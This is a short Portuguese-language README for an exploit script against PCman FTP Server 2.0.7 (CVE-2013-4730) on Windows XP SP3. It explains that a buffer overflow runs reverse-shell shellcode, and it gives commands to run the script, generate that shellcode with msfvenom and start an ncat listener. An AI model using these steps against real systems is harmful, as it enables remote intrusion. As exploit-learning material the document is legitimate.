Estouro de buffer e execução remota de código no servidor FTP PCman [CVE-2013-4730]

Um estouro de buffer muito simples usando CVE-2013-4730 contra o servidor FTP PCman v.2.0.7

Como funciona?

Esse simples BoF sobrescreve o buffer e executa o shellcode que se conectará de volta (reverse shell)

Máquinas vulneráveis:

WindowsXP SP3 executando o servidor FTP PCman versão 2.0.7

Execução

~$ python3 PCman.py <host> <port>

Substitua o shellcode pelo seu próprio!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

Inicie o netcat

~$ ncat -lvp <shellcode port>

Use apenas em sua própria máquina!!